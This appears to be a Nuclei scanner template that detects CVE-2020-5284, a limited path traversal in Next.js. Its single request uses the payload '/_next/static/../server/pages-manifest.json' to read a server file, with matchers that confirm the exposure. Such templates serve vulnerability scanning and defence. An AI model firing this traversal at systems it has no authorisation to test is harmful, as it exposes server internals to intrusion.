id: CVE-2020-5284

info:
  name: Next.js .next/ limited path traversal
  author: Harsh & Rahul
  severity: medium

requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
    matchers:
      - type: regex
        regex:
          - '\{"/_app":".*?_app\.js"'
      - type: status
        status:
          - 200